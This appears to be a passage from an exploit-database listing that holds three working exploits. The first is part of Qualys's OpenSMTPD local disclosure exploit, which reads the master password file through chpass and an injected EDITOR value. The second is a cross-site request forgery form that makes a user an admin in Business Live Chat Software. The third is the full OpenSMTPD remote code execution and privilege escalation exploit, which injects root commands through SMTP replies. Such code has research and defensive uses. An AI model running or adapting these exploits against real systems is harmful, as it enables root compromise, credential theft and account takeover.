t_stopped queue_stopped[OFFLINE_QUEUEMAX]; size_t t = 0; size_t q; const t_stopper queue_stopper = fork_stopper(getuid()); puts("ready"); for (q = 0; q < OFFLINE_QUEUEMAX; q++) { queue_stopped[q] = wait_stopped(queue_stopper); const size_t f = find_stopped_file(files, n_files, queue_stopped[q]); printf("%zu (%zu)\n", f, q); if (f >= t) t = f + 1; } kill_stopper(queue_stopper); if (t < OFFLINE_QUEUEMAX) die(); if (t >= n_files - 1) die(); wait_sentinel(files, n_files); for (i = 0; i < n_files - 1; i++) { if (unlink(files[i]) != 0) die(); if (i < t) continue; if (link(_PATH_MASTERPASSWD, files[i]) != 0) die(); const pid_t pid = fork(); if (pid <= -1) die(); if (pid == 0) { char * const argv[] = { "/usr/bin/chpass", NULL }; char * const envp[] = { "EDITOR=echo '#' >>", NULL }; execve(argv[0], argv, envp); die(); } int status = 0; if (waitpid(pid, &status, 0) != pid) die(); if (!WIFEXITED(status)) die(); if (WEXITSTATUS(status) != 0) die(); struct stat sb; if (lstat(files[i], &sb) != 0) die(); if (!S_ISREG(sb.st_mode)) die(); if (sb.st_nlink != 1) die(); if (sb.st_uid != 0) die(); } const t_stopper target_dumper = fork_stopper(0); for (q = 0; q < OFFLINE_QUEUEMAX; q++) { kill_free_stopped(queue_stopped[q]); } const t_stopped target_dump = wait_stopped(target_dumper); puts(target_dump.args); kill_free_stopped(target_dump); kill_stopper(target_dumper); for (i = t; i < n_files - 1; i++) { if (unlink(files[i]) != 0) die(); } exit(EXIT_SUCCESS); } static void make_stopper_files(const char * const * const files, const size_t n_files, const size_t begin_stoppers, const size_t n_stoppers) { if (begin_stoppers >= n_files) die(); if (n_stoppers > OFFLINE_QUEUEMAX) die(); const size_t end_stoppers = begin_stoppers + 3 * n_stoppers; if (end_stoppers >= n_files) die(); size_t f; for (f = begin_stoppers; f < end_stoppers; f++) { make_stopper_file(files[f]); } } typedef struct { pid_t pid; int fd; } t_swapper; static t_swapper fork_swapper(const char * const target, const char * const file) { struct stat sb; if (lstat(target, &sb) != 0) die(); if (!S_ISREG(sb.st_mode)) die(); if (sb.st_nlink != 1) die(); int fds[2]; if (pipe(fds) != 0) die(); const pid_t pid = fork(); if (pid <= -1) die(); const int fd = fds[!pid]; if (close(fds[!!pid]) != 0) die(); if (pid != 0) { const t_swapper swapper = { .pid = pid, .fd = fd }; return swapper; } if (unlink(file) != 0) die(); if (write(fd, "A", 1) != 1) die(); for (;;) { if (link(target, file) != 0) die(); if (unlink(file) != 0) die(); } die(); } static void wait_swapper(const t_swapper swapper) { char buf[] = "whatever"; if (read(swapper.fd, buf, sizeof(buf)) != 1) die(); if (buf[0] != 'A') die(); } static void kill_swapper(const t_swapper swapper) { kill_wait(swapper.pid); if (close(swapper.fd) != 0) die(); } static void disclose_deadletter(const size_t n_files, const char * const target) { struct stat target_sb; if (target[0] != '/') die(); if (lstat(target, &target_sb) != 0) die(); if (!S_ISREG(target_sb.st_mode)) die(); if (target_sb.st_nlink != 1) die(); const uid_t target_uid = target_sb.st_uid; if (target_uid == getuid()) die(); const struct passwd * const target_pw = getpwuid(target_uid); if (target_pw == NULL) die(); static char deadletter[PATH_MAX]; snprintf(deadletter, sizeof(deadletter), "%s/dead.letter", target_pw->pw_dir); struct stat deadletter_sb; if (lstat(deadletter, &deadletter_sb) != 0) { if (errno != ENOENT) die(); memset(&deadletter_sb, 0, sizeof(deadletter_sb)); } const char * const * const files = create_files(n_files); make_stopper_files(files, n_files, 0, OFFLINE_QUEUEMAX); const t_stopper queue_stopper = fork_stopper(getuid()); puts("ready"); t_stopped queue_stopped[OFFLINE_QUEUEMAX]; size_t t = 0; size_t q; for (q = 0; q < OFFLINE_QUEUEMAX; q++) { queue_stopped[q] = wait_stopped(queue_stopper); const size_t f = find_stopped_file(files, n_files, queue_stopped[q]); printf("%zu (%zu)\n", f, q); if (f >= t) t = f + 1; } if (t < OFFLINE_QUEUEMAX) die(); if (t >= n_files - 1) die(); size_t i; for (i = 0; i < t; i++) { if (unlink(files[i]) != 0) die(); } wait_sentinel(files, n_files); const t_stopper target_dumper = fork_stopper(target_uid); for (;;) { make_stopper_files(files, n_files, t + 1, 1); const t_swapper swapper = fork_swapper(target, files[t]); wait_swapper(swapper); kill_free_stopped(queue_stopped[0]); queue_stopped[0] = wait_stopped(queue_stopper); kill_swapper(swapper); const size_t f = find_stopped_file(files, n_files, queue_stopped[0]); printf("%zu\n", f); if (f <= t) die(); for (i = t; i <= f; i++) { if (unlink(files[i]) != 0) { if (errno != ENOENT) die(); if (i != t) die(); } } t = f + 1; struct stat sb; if (lstat(deadletter, &sb) != 0) { if (errno != ENOENT) die(); memset(&sb, 0, sizeof(sb)); } if (memcmp(&sb, &deadletter_sb, sizeof(sb)) != 0) break; } kill_stopper(queue_stopper); const t_stopped target_dump = wait_stopped(target_dumper); puts(target_dump.args); kill_free_stopped(target_dump); kill_stopper(target_dumper); for (i = t; i < n_files - 1; i++) { if (unlink(files[i]) != 0) die(); } for (q = 0; q < OFFLINE_QUEUEMAX; q++) { kill_free_stopped(queue_stopped[q]); } char * const argv[] = { "/bin/ls", "-l", deadletter, NULL }; char * const envp[] = { NULL }; execve(argv[0], argv, envp); die(); } int main(const int argc, const char * const argv[]) { setlinebuf(stdout); puts("Local information disclosure in OpenSMTPD (CVE-2020-8793)"); puts("Copyright (C) 2020 Qualys, Inc."); if (argc <= 1) die(); const size_t n_files = strtoul(argv[1], NULL, 0); if (n_files <= OFFLINE_QUEUEMAX) die(); if (n_files > ((size_t)1 << 20)) die(); if (argc == 2) { disclose_masterpasswd(n_files); die(); } if (argc == 3) { disclose_deadletter(n_files, argv[2]); die(); } die(); }
-
Business Live Chat Software 1.0 - Cross-Site Request Forgery (Add Admin)
# Exploit Title: Business Live Chat Software 1.0 - Cross-Site Request Forgery (Add Admin) # Description: Operator Can Change Role User Type to admin # Date: 2020-02-26 # Exploit Author: Meisam Monsef # Vendor Homepage: https://www.bdtask.com/business-live-chat-software.php # Version: V-1.0 # Tested on: ubuntu Exploit : 1 - please login or create account 2 - open exploit.html in browser 3 - change you user id input for Change Role User Type to admin 4 - fill input data (fname - lname - email) 5 - click Update Button 6 - logout account 7 - login again you are admin & Enjoying <form action="https://TARGET/admin/user/users/create" enctype="multipart/form-data" method="post" accept-charset="utf-8"> user_id : <input type="text" name="user_id" value="1"> <!-- change your user_id --> <br> fname : <input type="text" name="fname" value="" /> <!-- fill your first name --> <br> lname : <input type="text" name="lname" value="" /> <!-- fill your last name --> <br> email : <input type="text" name="email" value="" /> <!-- fill your email --> <br> user_type : <input type="text" name="user_type" value="1" /> <br> status : <input type="text" name="status" value="1" /> <br> <button type="submit">Update</button> </form>
-
OpenSMTPD < 6.6.3p1 - Local Privilege Escalation + Remote Code Execution
/* * LPE and RCE in OpenSMTPD's default install (CVE-2020-8794) * Copyright (C) 2020 Qualys, Inc. * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <https://www.gnu.org/licenses/>. */ #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <netinet/tcp.h> #include <netdb.h> #include <stdarg.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <time.h> #include <unistd.h> static enum { CLIENT_SIDE_EXPLOIT, SERVER_SIDE_EXPLOIT, } exploit = CLIENT_SIDE_EXPLOIT; static enum { NEW_SMTPD_GRAMMAR, OLD_SMTPD_GRAMMAR, } grammar = NEW_SMTPD_GRAMMAR; static struct { const char * command; const char * user; const char * dispatcher; const char * maildir; char lines[512]; } inject = { .command = "X=`mktemp /tmp/x.XXXXXX`&&id>>$X;exit 0", .user = "root", .dispatcher = "local_mail", .maildir = NULL, }; #define die() do { \ printf("died in %s: %u\n", __func__, __LINE__); \ exit(EXIT_FAILURE); \ } while (0) static struct addrinfo * common_getaddrinfo(const char * const host, const char * const port) { const struct addrinfo hints = { .ai_family = AF_INET, .ai_socktype = SOCK_STREAM, .ai_protocol = IPPROTO_TCP, .ai_flags = AI_NUMERICHOST | AI_NUMERICSERV, }; struct addrinfo * addr = NULL; if (getaddrinfo(host, port, &hints, &addr) != 0) die(); if (addr == NULL || addr->ai_next != NULL) die(); return addr; } static const char * common_getnameinfo(const struct sockaddr * const addr, const socklen_t addr_len) { static char host[NI_MAXHOST]; static char port[NI_MAXSERV]; if (getnameinfo(addr, addr_len, host, sizeof(host), port, sizeof(port), NI_NUMERICHOST | NI_NUMERICSERV) != 0) die(); static char host_port[NI_MAXHOST + NI_MAXSERV]; if (snprintf(host_port, sizeof(host_port), "%s:%s", host, port) <= 0) die(); return host_port; } static void common_send(const int fd, const char * const format, va_list ap) { if (fd <= -1) die(); static char buf[1024]; const int len = vsnprintf(buf, sizeof(buf), format, ap); if (len <= 0 || (unsigned)len >= sizeof(buf)) die(); printf("--> %s%s", buf, buf[len-1] != '\n' ? "\n" : ""); const char * data = buf; size_t size = len; for (;;) { const ssize_t sent = send(fd, data, size, MSG_NOSIGNAL); if (sent <= 0) die(); if ((size_t)sent > size) die(); data += sent; size -= sent; if (size <= 0) return; } die(); } static int listen_fd = -1; static void server_listen(void) { if (listen_fd != -1) die(); const struct addrinfo * const addr = common_getaddrinfo("0.0.0.0", "25"); listen_fd = socket(addr->ai_family, addr->ai_socktype, addr->ai_protocol); if (listen_fd <= -1) die(); const int on = 1; if (setsockopt(listen_fd, SOL_SOCKET, SO_REUSEADDR, &on, sizeof(on)) != 0) die(); if (bind(listen_fd, addr->ai_addr, addr->ai_addrlen) != 0) die(); if (listen(listen_fd, 10) != 0) die(); printf("\nListening on %s\n", common_getnameinfo(addr->ai_addr, addr->ai_addrlen)); } static int server_fd = -1; static void server_accept(void) { struct sockaddr addr; socklen_t addr_len = sizeof(addr); if (listen_fd <= -1) die(); if (server_fd != -1) die(); server_fd = accept(listen_fd, &addr, &addr_len); if (server_fd <= -1) die(); if (addr_len > sizeof(addr)) die(); const time_t now = time(NULL); printf("\nConnection from %s\n%s", common_getnameinfo(&addr, addr_len), ctime(&now)); const int on = 1; if (setsockopt(server_fd, IPPROTO_TCP, TCP_NODELAY, &on, sizeof(on)) != 0) die(); } static void server_send(const char * const format, ...) { if (server_fd <= -1) die(); va_list ap; va_start(ap, format); common_send(server_fd, format, ap); va_end(ap); } static char server_command[1024]; static void server_recv(const char * const prefix) { if (server_fd <= -1) die(); const size_t prefix_len = strlen(prefix); if (prefix_len < 4) die(); char * data = server_command; size_t size = sizeof(server_command); for (;;) { const ssize_t rcvd = recv(server_fd, data, size, 0); if (rcvd <= 0) die(); if ((size_t)rcvd >= size) die(); data += rcvd; size -= rcvd; data[0] = '\0'; if (data[-1] != '\n') continue; if (strchr(server_command, '\n') != data - 1) die(); printf("<-- %s", server_command); if (strncmp(server_command, prefix, prefix_len) != 0) die(); return; } die(); } static void server_close(void) { if (server_fd <= -1) die(); if (close(server_fd) != 0) die(); server_fd = -1; } static void server_session(const char * const inject_lines) { const char * const error_code = (exploit == SERVER_SIDE_EXPLOIT) ? "421" : "553"; server_accept(); server_send("220 ent.of.line ESMTP\n"); server_recv("EHLO "); server_send("250 ent.of.line Hello\n"); server_recv("MAIL FROM:<"); if ((strncmp(server_command, "MAIL FROM:<>", 12) == 0) != (exploit == SERVER_SIDE_EXPLOIT)) die(); if (inject_lines != NULL) { if (inject_lines[0] == '\0') die(); if (inject_lines[0] == '\n') die(); if (inject_lines[strlen(inject_lines)-1] == '\n') die(); server_send("%s-Error\n", error_code); server_send("%s\n\n%s%c", error_code, inject_lines, (int)'\0'); } else { server_send("%s Error\n", error_code); server_recv("RSET"); server_send("250 Reset\n"); server_recv("QUIT"); server_send("221 Bye\n"); } server_close(); } static const struct addrinfo * client_target = NULL; static const char * client_mail = NULL; static const char * client_rcpt = NULL; static int client_fd = -1; static void client_connect(void) { if (client_fd != -1) die(); client_fd = socket(client_target->ai_family, client_target->ai_socktype, client_target->ai_protocol); if (client_fd <= -1) die(); if (connect(client_fd, client_target->ai_addr, client_target->ai_addrlen) != 0) die(); printf("\nConnected to %s\n", common_getnameinfo(client_target->ai_addr, client_target->ai_addrlen)); } static void client_send(const char * const format, ...) { if (client_fd <= -1) die(); va_list ap; va_start(ap, format); common_send(client_fd, format, ap); va_end(ap); } static char client_reply[1024]; static void client_recv(const char * const prefix) { if (client_fd <= -1) die(); const size_t prefix_len = strlen(prefix); if (prefix_len < 3) die(); char * data = client_reply; size_t size = sizeof(client_reply); const char * line = data; for (;;) { const ssize_t rcvd = recv(client_fd, data, size, 0); if (rcvd <= 0) die(); if ((size_t)rcvd >= size) die(); data += rcvd; size -= rcvd; data[0] = '\0'; if (data[-1] != '\n') continue; for (;;) { const char * const new_line = strchr(line, '\n'); if (new_line == NULL) break; if (new_line - line < 4) die(); printf("<-- %.*s", (int)(new_line - line + 1), line); if (strncmp(line, prefix, prefix_len) != 0) die(); if (line[3] == ' ') { if (new_line + 1 != data) die(); return; } if (line[3] != '-') die(); line = new_line + 1; } if (line != data) die(); } die(); } static void client_close(void) { if (client_fd <= -1) die(); if (close(client_fd) != 0) die(); client_fd = -1; } static void client_session(void) { client_connect(); client_recv("220 "); client_send("HELP\n"); client_recv("214"); if (strstr(client_reply, "please contact [email protected]") == NULL) die(); client_send("EHLO ent.of.line\n"); client_recv("250"); const int dsn = (strstr(client_reply, "250-DSN") != NULL); client_send("MAIL FROM:<%s>\n", client_mail); client_recv("250 "); client_send("RCPT TO:<%s>%s\n", client_rcpt, dsn ? " NOTIFY=SUCCESS" : ""); client_recv("250 "); client_send("DATA\n"); client_recv("354 Enter mail, end with "); if (!dsn) { client_send("Delivered-To: %s\n", client_rcpt); } client_send("\n"); client_send(".\n"); client_recv("250 "); client_send("QUIT\n"); client_recv("221 "); client_close(); } int main(int argc, char * const * argv) { setlinebuf(stdout); puts("LPE and RCE in OpenSMTPD's default install (CVE-2020-8794)"); puts("Copyright (C) 2020 Qualys, Inc."); int opt; while ((opt = getopt(argc, argv, "c:u:d:m:n")) != -1) { switch (opt) { case 'c': inject.command = optarg; break; case 'u': grammar = OLD_SMTPD_GRAMMAR; inject.user = optarg; break; case 'd': inject.dispatcher = optarg; break; case 'm': grammar = OLD_SMTPD_GRAMMAR; inject.maildir = optarg; break; case 'n': grammar = NEW_SMTPD_GRAMMAR; break; default: die(); } } if (grammar == NEW_SMTPD_GRAMMAR) { const int len = snprintf(inject.lines, sizeof(inject.lines), "type:mda\nmda-exec:%s\ndispatcher:%s\nmda-user:%s", inject.command, inject.dispatcher, inject.user); if (len <= 0 || (unsigned)len >= sizeof(inject.lines)) die(); } else if (grammar == OLD_SMTPD_GRAMMAR) { const int len = snprintf(inject.lines, sizeof(inject.lines), "type:mda\nmda-buffer:%s\nmda-method:%s\nmda-user:%s\nmda-usertable:<getpwnam>", inject.maildir ? inject.maildir : inject.command, inject.maildir ? "maildir" : "mda", inject.user); if (len <= 0 || (unsigned)len >= sizeof(inject.lines)) die(); } else die(); argc -= optind; argv += optind; if (argc == 3) { exploit = SERVER_SIDE_EXPLOIT; client_target = common_getaddrinfo(argv[0], "25"); client_mail = argv[1]; client_rcpt = argv[2]; } else if (argc != 0) die(); server_listen(); if (exploit == CLIENT_SIDE_EXPLOIT) { server_session(inject.lines); } else if (exploit == SERVER_SIDE_EXPLOIT) { client_session(); unsigned try; for (try = 0; try < 1; try++) { server_session(NULL); puts("\nPlease wait for OpenSMTPD to connect back..."); } server_session(inject.lines); client_session(); server_session("type:invalid"); } else die(); exit(EXIT_SUCCESS); }